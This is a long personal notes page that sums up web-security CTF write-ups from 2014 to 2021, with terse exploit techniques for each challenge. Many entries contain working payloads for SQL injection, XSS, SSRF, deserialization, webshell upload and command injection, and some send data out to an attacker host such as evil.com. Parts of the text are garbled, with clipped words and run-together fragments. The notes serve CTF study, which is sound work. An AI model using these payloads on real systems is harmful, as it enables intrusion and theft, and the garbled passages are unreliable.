CTF思路
点击放大

These are my notes on past CTF write-ups, with a focus on web, crypto and realistic challenges.
I quickly stopped looking at steg, for, RE and pwn due to lack of interest, moti or time to practice.
See todo for full CTF tracking info.
Write-up repos used over time:
?page=p<< becomes p* and include_once returns the first file starting with "p" (e.g. phpinfo.php)0<< returns an empty page instead of Page does not exist if there is a directory that starts with 0, repeat to recover the rest (get_declared_classes ())'?action=SplFileObject¶m=php://filter/read=convert.base64-encode/resource=config.php to leak sourceSimpleXMLElement to ssrf to localhost/admin.phpX-Forwarded-For:|echo bHMgLw==|base64 -d| to bypass restrictions
- hackyou-2014
bypass PHP is_numeric() with hex literal (old php)
easyinf - hitcon-ctf-2014
stacked sqli, use procedure to avoid dots inside query
id=');set @a=0x53454c45435420...0a;PREPARE st FROM @a;EXECUTE st;SELECT ('
leenode - hitcon-ctf-2014
jrun ser apache, use double encoding and \ to bypass apache
read /admin/.htaccess with /.%5cadmin%5c.htaccess%253b.jsp
py4h4sher - hitcon-ctf-2014
pbkdf2 hmac sha1 collision
pushin cat - hitcon-ctf-2014
sqli in insert and postgres+H2
use sqli to insert a second record with admin role and IP 127.0.0.1
use stack sql to upload webshell with H2 function CALL CS('/var/www/html/ws.php', 'SELECT CHR(60)||...')-- -
xnginx - olympic-ctf-2014
host header injection + nginx's X-Accel-redirect header to request /flag only accessible from localhost
rpc - olympic-ctf-2014
php rpc_json_call, use magic methods __construct and __wakeup to upload webshell
php_jl - phd-ctf-quals-2014
turn lfi into rce with race condition on file upload
index.php calls eval($_GET['code'])
read source with ?code=require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=index.php
upload race with ?code=include($_FILES[foo][tmp_name]."|0");include($_POST[p]);include($_POST[p]);...x12 times...;include($_POST[p]);a:%0Agoto%20a;' -F foo=.php -F p=AAAA.. (806 As)
leak tmp_name by triggering a file not found include, fill up output buffer, infinite loop request is killed after 30s timeout
then exec uploaded php with ?code=;require("/tmp/phplUaO5I");%20return%2042;
bypass function blacklist with test.php <?php $file_path="ls -la /home/phd/"; $get_password_hash = 'system'; ?>
oracle - phd-ctf-quals-2014
sqli in oracle, use procedure owned by another user because current user unpri
bronies - plaid-ctf-2014
xss+xhr to access internal website (without jquery)
use xss in website1 to redirect to our page with a csrf that POSTs to website2 and triggers an error to reflect another xss
use xhr to add a form that will exfil internal website3 pages
web300 -
php eval, confirm with /?e=echo pi or /?e=phpinfo
most special chars blacklisted ' " $ ( ) ...` but is equi to
$str = "string content" is equi to
include "/etc/hosts".printf()
find flag in index.php with php://filter/convert.base64-encode/resource=index.phpweb400 -
ja faces (JSF index.xhtml) rce language injection, rfi via ?header= with pwn.xtml:web500 -
sqlite login bypass with /login?login=user_name&password=user_pass
because WHERE user_name = "user_name" AND user_pass = "user_pass" is true rtfm
abitbol - nuitduhack-ctf-quals-2014
xss formtitanoreine - nuitduhack-ctf-quals-2014
use Nasty Bulletproof Jpeg generator to insert php code within valid jpg image
lfi with prefix confirmed with ?lang=fr.php -> blah.php/../2.jpg blah/../../includes/2.jpg -> same image
list directory with ?lang=/../../includes/98.jpg&c=(glob(%22*%22))%3b
read file with echo%20file_get_contents(%22flag%22)%3b or with highlight_file()nightly auth - nuitduhack-ctf-quals-2014
time-based user enumeration then XPATH injection with password " or 1=1 or "
whatscat - plaid-ctf-2014
sqli in update stmt because of dns ANY request to domain provided by attacker
polygonshifter - plaid-ctf-2014
blind sqli in login, username=admin&password=' or 1=1-- -> logged in as admin
but password is the flag so use username=admin&password=' or (password LIKE 'a%) and 1='1dt_vcs - phd-ctf-quals-2014
xss using callback to contact (Reverse Clickjacking)
callback=document.body.firstChild.click&contact=ja:alert(1)
steve's list - pico-ctf-2014
hash length extension attack, php unserialization and preg_replace /e
reeekeeeeee - plaid-ctf-2014
django website using pickle to serialize cookie
irrsa - ructf-2014-quals
xss in user-agent but session cookie is httponly, CSP default-src 'self' and no outbound
we can fix the session cookie of the admin on a different path
mssngrrr - ructf-2014-quals
xss gif/js polyglot
seccon-ctf-2014
sqlite sqli in insert
<!-- }}} -->
<!-- 2015 {{{ -->
</p></details><details><summary>2015</summary><p>
kummerkasten - 32c3-ctf-2015
xss and jquery to retrie pages
$.post(' {'a': btoa($('body')[0].innerHTML)})
sequence hunt - 32c3-ctf-2015
timing attack because node's sleep() blocks further requests
tinyhosting - 32c3-ctf-2015
php short tags, we can upload .php files but content restricted to 7 chars
upload filenames bash and bash2 (bash2 contains cat /*) and upload zzz.php
with <?=*; then access /zzz.php to exec bash bash2 index.html ...
webchat - bctf-2015
sqli + xss, sqli in INSERT and use char() to bypass blacklisted chars [<>...]
torrent_lover - bctf-2015
shell command injection, use IFS to not ha and use tr to replace whitespace
post_param=http%3A%2F%2Fmy.ip%2FIFS=+;a=ls+-l;ta1=tr+'\t'+'?';ta2=tr+'\n'+'?';ta3=tr+'\40'+'?';$a|$ta1|$ta2|$ta3.php%0aa.torrent
owltube - codegate-2015
aes cbc bit flip to change {"u": "x", "pw": "admin"} to {"u": "x", "u": "admin"}
teachers pinboard - hacklu-ctf-2015
pickle.js nodejs
babyfirst - hitcon-ctf-quals-2015
bypass preg_match('/^\w+$/', args[i]) and inject in exec() with
?args[]=aa%0a&args[]=busybox&args[]=ftpget&args[]=<ip-in-decimal>&args[]=myscript
giraffe's coffee - hitcon-ctf-quals-2015
the reset pw page uses insecure mt_rand() because when called for the first time
PHP will generate a 32-bit seed and pass it to mt_srand() (if mt_srand has not already been called)
with mod_php the mt_rand state is preserved for all requests in a particular worker process so
we reset our account's pw and bruteforce the seed with and
use Keep-Alive to continue making requests to the same workerlalala - hitcon-ctf-quals-2015
ssrf to our server, then redirect again with Location: file://index.php to bypass file:// and .php filters and leak source
then ssrf to PHP-FPM on 127.0.0.1:9001 to craft fastcgi packet and gain rce
barista - icectf-2015
webapp written in coffeescript where maps contain builtin keys by default
we can get the app to call an unexpected function: /__defineGetter__?args=is_admin
login as admin - mma-ctf-2015
memcache injection in cookieweb5 - nullcon-hackim-2015
break captcha, convert image into black & white and use tesseract-ocr (some writeups did more complicated)
hype - uiuctf-2015
website lists hyperboria peers, install cjdns and access website via its hyperboria ipv6 address
<!-- }}} -->
<!-- 2016 {{{ -->
</p></details><details><summary>2016</summary><p>
clue - backdoor-ctf-2016
private github repo can be accessed through gh-pages user.github.io/repo-name/flag
can you hit me - ssctf-2016
angularjs sandbox bypass -> xss
legend - ssctf-2016
nosql blind sqli
greenbox - insomnihack-teaser-2016
ja sandbox escapesignserver - nullcon-hackim-2016
xmldecoder (object serialized in xml)
zeronights hackquest ctf task "bazaarng"unickle - nullcon-hackim-2016
union sqli + pickle
smashthestate - nullcon-hackim-2016
upload archi link (zip --symlinks)
hqlol - nullcon-hackim-2016
hql injection
bugbounty - boston-key-party-2016
bypass csp withrand - 0ctf-2016
recover php rand() seed within 1 minute, given the first number and the md5 of the five next numbers
php seeds rand() with (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
we can use the Date: header and just bruteforce the pid (standard pid_max is 32768)
php reuses seeds in existing mod_php processes so established 20 connections to ensure we get numbers from a fresh Apache child
trying all possible pids took a lot longer than one minute, but once found the first valid pid we can predict what range the next pid will be and greatly reduce the number of tries required
monkey - 0ctf-2016
proof of work in Go, DNS rebinding to bypass CORS
guestbook - 0ctf-2016
part1: xss and chrome xss auditor bypass trick
use innerHTML to execute Ja
bypass filter() with hexadecimal/unicode escape sequences
pass username=debug to define the JS debug to true because our username will be reflected as <div id="debug"> and in Chrome, HTML element with ID will be automatically a in JS
and pass secret=<script>=false;</script> so that Chrome xss auditor will think that debug=false is controlled by attacker and will ignore initialization
xss admin to send us content of phpinfo page which will contain httponly cookie
part2: ssrf to redis to upload files
trick to bypass disable_function: upload .so and .php with zerodaystore - bctf-2016
b64decode doesn't "safe decode" (ignores any non-base64 stuff after the base64 string)
bypass signature check by submitting price=1337&sign=YTFiMmMzZDRlNWY2Cg==&price=0 to o price to 0 because b64decode(b64encode("test")+"&price=0") -> 'test'
qaq - bctf-2016
xss and CORS, use jquery to exfil responses from internal server, comment payload: <iframe src=" and index.html:homework - bctf-2016
sqli through xss
js is not a jail - codegate-ctf-2016
ja jail
bathing and grooming - pwn2win-ctf-2016
sqli in sqlite, implement MD5 in pure SQL
facebug - pwn2win-ctf-2016
ser template injection in User-Agent (Mako Templates for Python)
toil33t - nuitduhack-quals-2016
aes ecb shuffle blocks to get admin=true
spacesec - nuitduhack-quals-2016
mysql sqli in limit (can't do a union after order by)
replace spaces with %0a to bypass waf
facesec2 - nuitduhack-quals-2016
upload a tar archive with x.py file, short window to GET /upload/x.py and exec our code
pixelshop - plaid-ctf-2016
LFI via zip://uploads/blah.png#webshell, transform uploaded png to a zip file by changing its palette (stored in consecuti)
flag storage server - google-ctf-2016
GQL injection using like
data={'username': "manager' AND password >= 'CTF{" + password + chr(c) + "' AND password < 'z"} // for c in range(33, 126)
zippy - confidence-dragonsector-finals-ctf-2016
use abstract.zip from gynvael coldwind ten thousand traps to upload zip with a .php file not by zip tools
pentest - asis-ctf-2016
ssrf in Referer to get the server's real IP from the cdn
bf redis password and dump ssh key in the webmaster's home
task inspired from
three magic - asis-ctf-2016
command injection with restricted chars, use {grep,-nrw,.} to leak src
recover seed of php mt_rand() within 3 minutes with
binarycloud - asis-ctf-2016
php7 opcache and using to bypass parse_url() (returns false)
mfw - csaw-ctf-2016
command injection in php assert()
assert("strpos('$file', '..') === false") or die();
exploit with ?file=') || (file_get_contents('flag.php'));//angry seam - hitcon-ctf-quals-2016
there were 3 solutions
- ja in Richfaces 3.3.3Final (C)
- actionMethod + double EL injection (bypass 0day)
- session puzzling (register admin username fails but upgrades to admin session)baby trick - hitcon-ctf-quals-2016
bypass __wakeup() and use mysql utf-8 collation to bypass php check "if ($username === 'orange')" with 'orÄnge'
secureposts - hitcon-ctf-quals-2016
ssti via {{config}} and then yaml rce in flask session cookiecyber-security-challenge-belgium-2016-qualifiers
enter websocket code in browser console to submit fake score
tsurai - mma-ctf-2016
upload __init__.py with x = __import__('subprocess'); x.check_output(...)
sbbs - secuinside-ctf-quals-2016
xss + flask ssti page only accessible from localhost
cbpm - sharif-ctf-2016
send xss to admin to exfil flag from localStorage by updating profile (no outbound)
lucky charms - tu-ctf-2016
simple ja
ultimate design tool - whitehat-contest-11
css injection
web400 - sect-ctf-2016
bypass csp by loading outdated angularjs from whitelisted cdn
<!-- }}} -->
<!-- 2017 {{{ -->
</p></details><details><summary>2017</summary><p>
artisinal shoutboxes - boston-key-party-2017
chain 2 xss, first xss sets cookie with second xss payload to exfil admin page content
zumbo3 - bsides-sanfransisco-ctf-2017
ssti flask jinja2
flasking unicorns - ictf-2017
ssti to write python code to /tmp and run it via config.from_pyfile()
complicated xss - 0ctf-2017
stripped XMLHttpRequest from window but can restore it from frames[0], chain 2 xss
corp news -
jquery xhr xss to change admin's pw
the great continuation - insomnihack-ctf-2017
csrf + chain 2 xss, bypass csp file containing html
smarttomcat2 - insomnihack-ctf-2017
char @ blacklisted, bypass using gopher u=gopher://localhost:8080/aGET%20/manager/html%20HTTP/1.1%250d%250aAuthorization:%20Basic...
deep experiments - insomnihack-ctf-2017
upload SHA.pm and .htaccess to break Perl publish.cgi server
maze - tamuctf-2017
websocket, use console tab of de tools to interact with ws socket: type socket.emit('bla', {a: 1, b: 2});
paint - bctf-2017
PHP-GD imagecreatefrompng()
ser 3 files, let file2 be the flag file, file1 and file3 are valid GIF prefix/suffix so that the resulting image is valid
br0kenmysql[123] - meepwn-ctf-2017
id must 2 (guest) in the first query and 1 (admin) in the second query
- ?id=(select case substring(uuid(),5,1) when 1 then 2 else 1 end)
- ?id=1%2BCURRENT_TIMESTAMP%252 will bypass sleep|benchmark|floor|rand|count|select|from|\(|\)
- ?id=case when is null then :=2 else :=-1 end will bypass sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|dayflag shop - meepwn-ctf-2017
sqli and bypass filter: whitespace with /*!50000*/, = with LIKE and AND with &&
lonelyboy - meepwn-ctf-2017
xss via svg with XMLHttpRequest() because PhantomJS needs async
apache server uses PHP-FPM so upload .user.ini with auto_append_file xx
upload 2.jpg with php webshell and upload xx with <?=copy("2.jpg",2); and rce with GET /index.php
then reupload xx with auto_append_file 2 and rce with /index.php?c=cat+...
rfile - rctf-2017
lfi on flask app, in python3.5 ser are cached under __pycache__/ so retrieve ../__pycache__/conf.cpython-35.pyc to find flag
rcdn - rctf-2017
exploit Chrome's unicode size expansion during browser URL normalization to submit a subdomain of length <= 6 chars
a template jest - sctf-2017
nodejs (Express) command injection with /vuln/new%20Date()
dump mem with Buffer(1e5) to find flag
back to the past - google-ctf-2017
AngularJS v1.5.8 sandbox escape via history.back(-1)
a7 gee cue elle - google-ctf-2017
GQL injection with rate limits
geokittiesv2 - google-ctf-2017
xss with unicode U+212A kelvin sign to bypass filter
mygf - secuinside-ctf-quals-2017
use information_schema.processlist in sqli to leak secret key in first query (race)
polishop - poli-ctf-2017
xpath blind injection
mr future president - ctfzone-2017
email header injection + xxe
subject=-->%26xxe;test123%0d%0aCc:&encoding=UTF-8"%3f><!DOCTYPE+foo+[<!ELEMENT+foo+ANY+><!ENTITY+xxe+SYSTEM+"file%3a///etc/passwd"+>]><!--
blog - hitb-ctf-singapore-2017
GraphQL injection / SQLite
h4ck3rm1nd - h4ckit-ctf-2017
chars < and > filtered out, use bbcode [color="test;} * {background: url(')"]a[/color] to inject css
b3tters0ci4ln3twork - h4ckit-ctf-2017
wget < 1.18 vuln to extension check via race condition C
clock - mma-ctf-2017
use history.pushState() to set off xss via the Referer: header
use WebRTC to detect local IP to bypass local IP restriction
super secure storage - mma-ctf-2017
ser't check JSON parameter is a string so we can pass an array to guess length and value of the encryption key
funtimejs 2 - csaw-ctf-2017
web server runs user code in ja vm, use fs module to read flag file
console.log(require('fs').readFileSync('flag.txt').toString());not my cup of coffee - csaw-ctf-2017
send serialized Java Bean object with a parent set to the Flag bean
shia labeouf off - csaw-ctf-2017
django custom template filter tags and ssti
silkroad - ekoparty-ctf-2017
HTTPoxy + proxy.py mitm
my first app - ekoparty-ctf-2017
/getflag -> 403 but /index.php same as /index.php/ suggests mod_rewrite regex rules, bypass with /index.php/getflag
dark market - sect-ctf-2017
graphql
httpbin - defcamp-2017
create a hostname with 2 A records (1.2.3.4 and 127.0.0.1) to bypass check that input hostname doesnt resolve to localhost
send redis commands to upload webshell
dctf llc - defcamp-2017
xss + bypass CSP with script-src 'self' by uploading a GIF file with:
GIF89a='MUMBOJUMBOBOGUSBACON';var r=new XMLHttpRequest();r.open("GET","admin.php",false);r.send();document.location=");
dnssosecure - hacklu-ctf-2017
configure a BIND server with DNSSEC to return a signed A record
criminals - pwn2win-ctf-2017
HQL + pgsql, use query_to_xml('<arbitrary sql>') to execute subquery
array_upper(xpath('row',query_to_xml('select cast(pg_ls_dir(CHR(46))as int)',true,false,'')),1) returns pg_xlog in error msg
array_upper(xpath('row',query_to_xml('select cast(pg_ls_dir((SELECT column_name||CHR(44)||table_name FROM information_schema.columns c limit 1 offset 0)) as int)',true, false,'')),1)
blackbox pentesting - pwn2win-ctf-2017
xss to make admin post second xss to parent domain to retrie with flag (admin runs first xss from sandbox.bloodsuckers.world, but cookie is in bloodsuckers.world)
use multiple username input fields to bypass 12-char ser limit
sqlsrf - seccon-ctf-2017
wget bug, use newlines to append smtp commands through the Host: header and cross protocol talk to smtp server
extract0r - 34c3-ctf-2017
upload zip containing a symlink using .blah to bypass filter and browse server's filesystem
ssrf + parse_url bypass using or ].com:3306/
use gopher:// to retrieve flag from mysql db
urlstorage - 34c3-ctf-2017
RPO and css seletor to bf admin token and retrieve flag
<!-- }}} -->
<!-- 2018 {{{ -->
</p></details><details><summary>2018</summary><p>
cool storage service - insomnihack-teaser-2018
css selector to exfil csrf then upload php webshell with .pht extension
unintended solution used php://filter/convert.iconv to make flag pass getimagesize() as a image/vnd.wap.wbmpfile vault - insomnihack-teaser-2018
php unserialization via ZipArchive->open()
can bypass hmac check of serialized cookie because str_replace('../', './') called before unserialization
phuck - insomnihack-ctf-2018
bypass php filter with ?is.admin%00=1
pixeditor - insomnihack-ctf-2018
bmp/php polyglot
tax a - nullcon-ctf-2018
ser parameter pollution
?year=2017'%26username%3ddowd%3b%23&username=m -> mdowd
linked out - nuitduhack-quals-2018
upload cv in yaml format, rce injection
skype: BBBBBBBBBBBBBB}\skype{\input|"ls *"}%
personal website - asis-ctf-2018
mongodb injection
guest book -
lua injection ?search="..(io.popen('cat\x20/etc/passwd','r'):read('*a')).."corp monitoring -
mysql client connect lfilazy admin -
open redirect to our js to exfil admin page
bypass url check with ?redir=%20 or ?redir=//evil or Host: evil
cross domain requests allowed because phantomjs with --web-security=falseidiot {action,camera} - plaid-ctf-2018
js/wa
ssrf via SNI or redirect to ftp:// URL with long username to cause truncation
geckome - defcon-ctf-quals-2018
browser fingerprint must match to get flag
excesss - sctf-2018
challenge replaces alert() with prompt() so create iframe to restore it
bbs - google-ctf-quals-2018
self xss as a valid png containing e.search.substr(113))
use Range: header to skip o
cat chat - google-ctf-quals-2018
xss via css injection and exfil via css selector rules
hacker movie club - csaw-ctf-2018
web cache poisoning
berg's club - pwn2win-ctf-2018
php unserialization rce with file_exists("phar://evil.jpg")
use to build a Monolog gadget chain
one line php - hitcon-ctf-2018
php rce through race and lfi
fix our session filename ROGRESS and PHPSESSID
chain php filters to remove upload_progress_ prefixing our payload
return of one line php - realworld-ctf-2018
same but session.upload_progress.enabled = Off
bruteforce temp filename, prevent autodeletion by segfaulting php 7.2
flaglab - realworld-ctf-2018
gitlab ssrf C + command injection
rmi - realworld-ctf-2018
rce with RMI RegistryFilter bypasses, which was introduced in Ja
printmd - realworld-ctf-2018
ssrf in Nuxt.js by passing arbitrary Object to axios() via http parameter pollution
axios does not support file:// but supports UNIX socket so exfil flag via /var/run/docker.sock
ublog - hxp-ctf-2018
css selector timing attack via jQuery(location.hash)
filemanager - 35c3-ctf-2018
xs search via xss auditor
post - 35c3-ctf-2018
nginx alias tra, php unserialization using SoapClient dep to ssrf the miniProxy internal service
mssql automatically converts full-width unicode chars to ascii: 0xEF 0xBC 0x84 -> '$'
use gopher:/// or 301 redirect to gopher to bypass http/https check
php - 35c3-ctf-2018
php unserialization and need to cause exception in unserialize error because object destructors arent called on exceptions
l33t hoster - insomnihack-teaser-2019
upload .htaccess/.wbmp polyglot, \x00 same as a comment line in .htaccess files
then bypass disable_functions () LD_PRELOAD and mail() and code a solver to sol
or upload .htaccess/.xbm polyglot
phuck2 - insomnihack-teaser-2019
php lfi, bypass allow_url_include=0 with data:,0f3..9/profile because
file_get_contents('data:,0f3..9/profile') returns 0f3..9/profile but
include('data:,0f3..9/profile'); sources the /data:,0f3..9/0f3..9/profile file
<!-- }}} -->
<!-- 2019 {{{ -->
</p></details><details><summary>2019</summary><p>
dom - angstrom-ctf-2019
abusing xss auditor in filter mode to crash the DOM.js script
or run js without <script> or clobber document.documentElement.remove() with <form><input id=remove>
gianturl - angstrom-ctf-2019
csrf using <a with ping to issue POST request -> <a href="a" ping="/admin/changepass?password=<new pw>">clickme</a>
bypasses e - inshack-ctf-2019
bypass xss auditor by splitting payload into 2 query params
bypass script-src CSP with JSONP
post a json payload with <form method=post enctype=text/plain
or use 2 iframes to o /admin with xss (no CSP on /admin)
or use data:text/html,base64,.. URI
potent quotables - plaid-ctf-2019
HTTP/0.9 + cache + alphanumeric deflate = xss
wallbreaker - 0ctf-quals-2019
find php fastcgi .sock via an open_basedir bypass or a blind glob regex
bypass disable_function
shop -
spring mvc mass assignment
rich project - codegate-preliminary-2019
zip password encrypted with weak ZipCrypto algorithm rather than AES, crack using pkcrack or bkcrack
proton - codegate-preliminary-2019
bruteforce Mongo objectid ID to find other posts
prototype pollution with non-ascii 'a' in 'admin' to bypass check
blog - nullcon-hackim-ctf-2019
runs nodeesi lib (Edge Side Include) get flag with <esi:include src= >
mime checkr - nullcon-hackim-ctf-2019
phar/jpeg polyglot with ssrf
meet your doctor - hack-in-paris-2019
graphql 101
hack-in-paris-2019-ctf-meet-your-doctor-graphql-challenge/hotel booking system - 0ctf-2019
apache tapestry 5 allows access to .class files, rce
ooops - defcon-ctf-quals-2019
xss reflected in error page, sqlite sqli to retrieve flag, dns rebinding alt solution
gogo powersql - hitcon-ctf-quals-2019
goahead + cgi + libmysqlclient (goahead not vuln to C)
make client connect to our mysql server to read /flag
or rce via the LIBMYSQL_PLUGINS= and LIBMYSQL_PLUGIN_DIR= env vars, with a 512-byte dir to truncate .so automatically appended by mysql
then o math.random() function in lua redis
buggy .net - hitcon-ctf-quals-2019
using .NET request to trigger the exception and bypass waf
solve with curl -X GET -d 'filename=..\..\FLAG.txt&o=<x'
bounty pl3ez - hitcon-ctf-quals-2019
xss with %E2%80%A8--> to comment line after unicode newline
babycsp - csaw-ctf-2019
xss bypass CSP using Google jsonp endpoint
unagi - csaw-ctf-2019
xxe bypass waf with iconv -f UTF-8 -t UTF-16BE
buyify - csaw-ctf-2019
ssti in handlebars with prototype pollution to o the getter of the jwt signing key
key becomes '[object Object]' and we can forge jwt
hCorem - realworld-ctf-2019
bypass csp default-src 'self' by including the vuln page again
/api.php/qwq?callback=<script src="/api.php/qwq?callback=alert(1)//"></script>
bypass XSS Auditor endian encoding UTF-16LE, prefix payload with a Byte Order Mark (BOM)
mission in - realworld-ctf-2019
xss in attribute, use external style to trigger event handler provided by the css
<p style="animation-name:progress-bar-stripes" onanimationstart="alert(1)"></p> from bootstrap.min.css
php note - tokyo-western-ctf-2019
leak hmac key using windows defender as a side channel
paste-tastic - google-ctf-2019
xss with no origin check in parent's postMessage handling code
trigger xss auditor to remo
dom clobbering to redefine CONFIG
top and inner iframes can communicate e iframe is different origin
the lottery - confidence-ctf-teaser-2019
race condition in go slices
web 50 - confidence-ctf-teaser-2019
xss via svg or cache poisoning
<!-- }}} -->
<!-- 2020 {{{ -->
</p></details><details><summary>2020</summary><p>
defiltrate - insomnihack-teaser-2020
ja with ysoserial and Runtime.exec trick to use redirections
sh -c $@|sh . echo echo 0 > /tmp/x; for m in $(grep -r INS /* 2>/dev/null); do echo $m.evil.com >> /tmp/x; done; dig -f /tmp/x
inso file manager - insomnihack-teaser-2020
forge a jwt/rsa256 token since we can upload our own pubkey as a jwk file and link it in the jwt header (jku field)
bobby - tghack-2020
sqli in password change / update query
solar energy - nullcon-hackim-ctf-2020
solr parameter injection, list and read files on file system to get flag
split second - nullcon-hackim-ctf-2020
nodejs pug package command injection, encode payload in oct to bypass filter
lateral mo - nullcon-hackim-ctf-2020
exploit aws ec2 creds with ssrf, privesc with
ghost - nullcon-hackim-ctf-2020
http3
renderer - codegate-preliminary-2020
python2 urllib header injection urlopen(' HTTP/1.1\r\nX: c')
jinja2 ssti simple payload to dump env vars
cat web - confidence-ctf-teaser-2020
xss json with \u0022 and file:/// (firefox-67 c)
report: file:///app/templates/index.html?foo","content":["\u0022><script src=],"status":"ok","bar":"
xs.js: url=' fetch('file:///app/templates/flag.txt').then(r=>r.text()).then(t=>fetch(url+btoa(t)));
)newsletter -
symfony twig ssti arbitrary file read/write or rce
rce with email="{{['cat${IFS}/etc/passwd']|filter('system')}}".domain
user center -
xss on subdomain upload with MIME type */*
flag domain read from cookie so o it with a path taking precedence
document.cookie = "api_server=test.nl\uc040callback\uc040\uc040q; domain=..ru; path=/profile.html";
make $.getJSON issue JSONP request to us with callback=? in URL (app replaces non-printable with ?)
library -
graphql sqli escape closing ' with login=\\ so we can inject
SELECT * FROM users WHERE login='\' OR email=' OR 1=1 -- '
netcorp -
tomcat9 vuln to ghostcat via 8009/tcp -> arbitrary file read, or rce upload
archive -
prssi, frame hijacking + dom clobbering
crossintheroof - midnightsun-ctf-quals-2020
dom xss, bypass body onload with many %0a so that setTimeout happens first
throw an error to escape try statement by declaring location after it's used
and execute js inside catch with ?xss=alert(1);let location=6
notes app - bytebandits-ctf-2020
markdown2 2.3.8 vuln to self-xss which can be exploited using 3 frames
yet another cat challenge - confidence-ctf-2020
csp bypass with <meta http-equiv="refresh" content="0;URL=
xss reads nonce with document.querySelector(script).nonce or document.currentScript.nonce
then create a new <script> tag to fetch and exfil flag
in updated , nonce is removed with document.scripts[0].remove()
trigger a securitypolicy event to retrie
haha jail - confidence-ctf-2020
hhvm php sandbox, our source code cannot contain shell_exec but one possible bypass was
echo call_user_func("shell_\x65xec","cat \x2f\x2f*lag* 1>&2");
animal crossing - de1ctf-2020
waf bypass with &data=;=%27||666//
var data=''||{"":new "".constructor.constructor('return 2')}+1//'
then some js to make admin upload flag.png as an avatar
catalog - plaid-ctf-2020
csp bypass with <meta http-equiv="refresh" />
csrf a failed login to inject html in error message and redirect to flag page
exfil flag To Text Fragment (STTF) and image lazy-loading
bypass user gesture requirement with uBlock Origin due to user acti always included
mooz chat - plaid-ctf-2020
command injection in convert -comment 'from ip %s' .. on avatar images via X-Forwarded-For
leak jwt key to forge token
webrtc + mitm dh
contrived web problem - plaid-ctf-2020
ssrf and ftp client vuln to crlf in password, we can send commands to rabbitmq to exfil flag
calc - de1ctf-2020
java spel reflection with ?c='x'.class.forName('java.lang.System').getProperties()pooot - defcon-ctf-quals-2020
register a service worker to exfil other requests issued by browser
dogooos - defcon-ctf-quals-2020
python str.format with user-controlled format string -> leak globals
f-Strings using legacy f() instead of f"", implemented using eval() -> rce
uploooadit - defcon-ctf-quals-2020
http desync attack CL.TE between haproxy and gunicorn
where is my cash - alles-ctf-2020
xss in js var, no cache-control or max-age header, read cached response with "cache":"force-cache"
and exfil first api key, ssrf in node-html-pdf + sqli in insert to leak final api key
push - alles-ctf-2020
http/2 ser HTTP Server Push, obser requests using Chrome Net Export tool
onlyfreights - alles-ctf-2020
node/express app vuln to ja prototype pollution
o shell and env to rce
watchers - pwn2win-ctf-2020
reDoS attack to make wappalyzer time out so that shell_exec output is empty to leak url to our uploaded page
xss due to insufficient regex for the AppDynamics package, bypass strict csp default-src: none with
<script src="cid:adrum.1<img/src=a onerror=eval(atob('..'))"></script>, avoid url encoding with cid:
wechat generator - 0ctf-2020
svg lfi with <image href="text:/etc/passwd"/>, xss bypass in an svg via xlink:href instead of src
easyphp & noeasyphp - 0ctf-2020
php e with disable_functions and open_basedir set to /var/www/html
bypass open_basedir with foreach(new DirectoryIterator('glob:///*') as $f)
load flag.so ffi extension with $ffi = FFI::load('/flag.h'); and get flag with
$a = $ffi->flag_fUn3t1on_fFi(); (FFI::string($a));
webrtc - csaw-ctf-quals-2020
abuse turn server to proxy commands to internal redis server -> rce
flask_caching - csaw-ctf-quals-2020
uses pickle to serialize/deserialize data to/from redis
cookie clicker - downunder-ctf-2020
webapp uses cloud firestore database, use the rest api to retrieve all documents and find flag
design comp - downunder-ctf-2020
leak csrf token via css attribute selectors [name="csrf"][value^="a"] {background: url( }
however csrf input is hidden so use adjacent sibling node [name="csrf"][value^="a"]~p{...}
taking stock - downunder-ctf-2020
upload malicious joblib serialized model as profile pic and load it tra -> rce
fluxcloud frontline - hacklu-ctf-2020
bypass firewall via SNI set to allowed host but vhost set to secret host
bypass router via open redirect to open websocket connection to our client and access internal api
litter box - hacklu-ctf-2020
xss with race condition postMessage/onmessage to bypass e.source == window.frames[0] with null == undefined => true
harmony chat - dragon-ctf-2020
rce by sending serialized js in POST /csp-report, bypass localhost ip check via ftp active mode ssrf
scratchpad - dragon-ctf-2020
error-based xs search to bypass strict csp
http-for-pros - defcamp-ctf-2020
ssti without _ using request[request.cookies['a']] and Cookie: "a": "__class__", ..
more secure secrets - asis-ctf-finals-2020
php file upload race to find tmp filename, bypass open_basedir with glob('///')
bypass disable_functions by sending raw FastCGI packet to PHP-FPM tcp socket
resonator - hxp-ctf-2020
php rce via SSRF with file_put_contents('ftp://...') to send FastCGI packet to PHP-FPM tcp socket
or maybe rce via phar deserialization with php filter chain but must clear log file with \x10 first
write=convert.quoted-printable-decode|convert.icon.utf-8|convert.base64-decode
security scanner - hxp-ctf-2020
memcached CRLF command injection within session ID via TLS Poison
notepad - zer0pts-ctf-2020
flask ssti and pickle unserialize rce
can you guess it - zer0pts-ctf-2020
php basename bypass when filename contains char > 0x7f basename('/index.php/config.php/'.chr(128)) -> config.php
<!-- }}} -->
<!-- 2021 {{{ -->
</p></details><details><summary>2021</summary><p>
dbaasadge - realworld-ctf-2021
postgres-10 with extensions dblink and mysql_fdw
arbitray SQL as a NOSUPERUSER user yet granted all pri on database postgres
libmysqlclient-dev on ubuntu 18.04 has ENABLED_LOCAL_INFILE by default so we can read local files
leak file path where postgres pw hash is stored via select pg_relation_filepath('pg_authid')
and exfil file using postgres-10-mysql-fdw to connect to our server
reco pw since hash:=md5(password+username) and password is only 5 chars long
run commands with SELECT dblink('host=0 password=xxxxx','copy(select)to program''curl me//readflag''')header('Content-Security-Policy: ...');__proto__ to o iframe's srcdoc to csrf admin bot<script src=/admin or <link rel=stylesheet href=/admin/sandbox.html with [].map.constructorwindow.open to retrie set to a subpath, chrome would block without user interaction but not headlessMetadata-Flavor: Google header, bypass IP check with alt encoding or/bin/sh -c because /bin/bash doesnt exist<scr<script>ipt> b=0;alert(0).toDataURL()window.trustedTypes and trustedTypes.defaultPolicy truthy<form id="trustedTypes"><input id="defaultPolicy"></form>window.callback and bypass strlen(callback) < 21 check by calling jsonp again<a href="abc:jsonp(x);//" id="callback"></a><a href="data:text/plain;base64,<exfil cookie>" id="x"></a>__proto__postMessage to select all text and then read the selected text<embed src=1 onload="fetch(/text).then(..exfil)'cache': 'force-cache' to bypass local IP check[...arguments[0]+0] to bypass flag prefix matchString(this)[char_index]}).bind(()=>{file:///etc/passwd#https://
werkzeug in debug mode, read local files needed to reco pin
borg - nahamcon-ctf-2021
